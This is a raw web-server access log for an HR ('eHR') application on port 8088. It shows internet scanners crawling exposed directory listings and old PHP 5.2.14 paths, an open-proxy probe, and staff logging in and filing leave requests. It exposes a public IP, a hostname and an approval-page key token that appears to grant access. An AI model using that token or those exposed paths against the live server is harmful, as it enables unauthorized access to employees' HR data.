501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:04:07:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:04:07:19 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [02/Dec/2025:04:07:19 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [02/Dec/2025:04:07:24 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:24 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:04:07:29 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:29 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:04:07:30 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:30 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [02/Dec/2025:04:07:30 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:30 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:04:07:32 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:32 +0800] "GET /idcard HTTP/1.1" 301 241 100.64.0.1 - - [02/Dec/2025:04:07:32 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:32 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:04:07:33 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:33 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [02/Dec/2025:04:07:33 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:33 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [02/Dec/2025:04:07:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 100.64.0.1 - - [02/Dec/2025:04:07:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [02/Dec/2025:04:07:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 100.64.0.1 - - [02/Dec/2025:04:07:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 100.64.0.1 - - [02/Dec/2025:04:07:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 100.64.0.1 - - [02/Dec/2025:04:07:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 100.64.0.1 - - [02/Dec/2025:04:07:38 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:38 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 100.64.0.1 - - [02/Dec/2025:04:07:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 100.64.0.1 - - [02/Dec/2025:04:07:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 100.64.0.1 - - [02/Dec/2025:04:07:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 100.64.0.1 - - [02/Dec/2025:04:07:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 100.64.0.1 - - [02/Dec/2025:04:07:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 100.64.0.1 - - [02/Dec/2025:04:07:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 100.64.0.1 - - [02/Dec/2025:04:07:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [02/Dec/2025:04:07:44 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:44 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 100.64.0.1 - - [02/Dec/2025:04:07:44 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:44 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 100.64.0.1 - - [02/Dec/2025:04:07:46 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:46 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [02/Dec/2025:04:07:46 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:07:46 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [02/Dec/2025:04:08:00 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:04:08:00 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:04:08:05 +0800] "GET /login HTTP/1.1" 404 203 100.64.0.1 - - [02/Dec/2025:04:08:05 +0800] "GET /login HTTP/1.1" 404 203 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:04:19:39 +0800] "\x03" 501 203 100.64.0.1 - - [02/Dec/2025:04:19:39 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [02/Dec/2025:04:37:45 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [02/Dec/2025:04:37:45 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:05:14:04 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [02/Dec/2025:05:14:04 +0800] "\x03" 501 203 100.64.0.1 - - [02/Dec/2025:05:24:35 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:05:24:35 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:05:24:35 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:05:24:35 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:05:24:41 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:05:24:41 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:05:24:41 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [02/Dec/2025:05:24:41 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:05:28:00 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [02/Dec/2025:05:28:00 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [02/Dec/2025:05:28:10 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:05:28:10 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:05:38:28 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:05:38:28 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:07:26:36 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:07:26:36 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:07:26:37 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:07:26:37 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:07:39:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [02/Dec/2025:07:39:24 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:07:44:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:07:44:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 100.64.0.1 - - [02/Dec/2025:08:16:31 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)" 100.64.0.1 - - [02/Dec/2025:08:16:31 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:08:26:47 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [02/Dec/2025:08:26:47 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [02/Dec/2025:08:26:53 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:08:26:53 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:08:28:17 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D18C8C272D9AE4108DD9FEECFD3F115069173542FC4BA5401E6BDA7B43AFB2B2335DDCD29E586100E8 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:08:28:17 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D18C8C272D9AE4108DD9FEECFD3F115069173542FC4BA5401E6BDA7B43AFB2B2335DDCD29E586100E8 HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:08:28:19 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D18C8C272D9AE4108DD9FEECFD3F115069173542FC4BA5401E6BDA7B43AFB2B2335DDCD29E586100E8 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:08:28:19 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D18C8C272D9AE4108DD9FEECFD3F115069173542FC4BA5401E6BDA7B43AFB2B2335DDCD29E586100E8 HTTP/1.1" 200 4166 100.64.0.1 - - [02/Dec/2025:08:28:19 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D18C8C272D9AE4108DD9FEECFD3F115069173542FC4BA5401E6BDA7B43AFB2B2335DDCD29E586100E8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:08:28:19 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.12.69 - - [02/Dec/2025:08:29:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [02/Dec/2025:08:29:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [02/Dec/2025:08:29:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [02/Dec/2025:08:29:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [02/Dec/2025:08:35:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:08:35:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [02/Dec/2025:08:37:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:37:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [02/Dec/2025:08:37:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:37:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [02/Dec/2025:08:37:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:37:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [02/Dec/2025:08:37:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:37:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [02/Dec/2025:08:38:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:38:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [02/Dec/2025:08:38:24 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [02/Dec/2025:08:38:24 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [02/Dec/2025:08:38:31 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [02/Dec/2025:08:38:31 +0800] "GET / HTTP/1.1" 200 439 192.168.11.70 - - [02/Dec/2025:08:38:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8937272269163021 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:38:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8937272269163021 HTTP/1.1" 200 13560 192.168.11.70 - - [02/Dec/2025:08:38:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8937272269163021 HTTP/1.1" 200 15741 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8937272269163021" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:38:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8937272269163021 HTTP/1.1" 200 15741 192.168.11.70 - - [02/Dec/2025:08:38:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:38:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.70 - - [02/Dec/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:38:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:38:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:39:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10419520638782909 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10419520638782909 HTTP/1.1" 200 13560 192.168.11.70 - - [02/Dec/2025:08:39:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10419520638782909 HTTP/1.1" 200 15745 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10419520638782909" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10419520638782909 HTTP/1.1" 200 15745 192.168.11.70 - - [02/Dec/2025:08:39:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.70 - - [02/Dec/2025:08:39:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:39:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 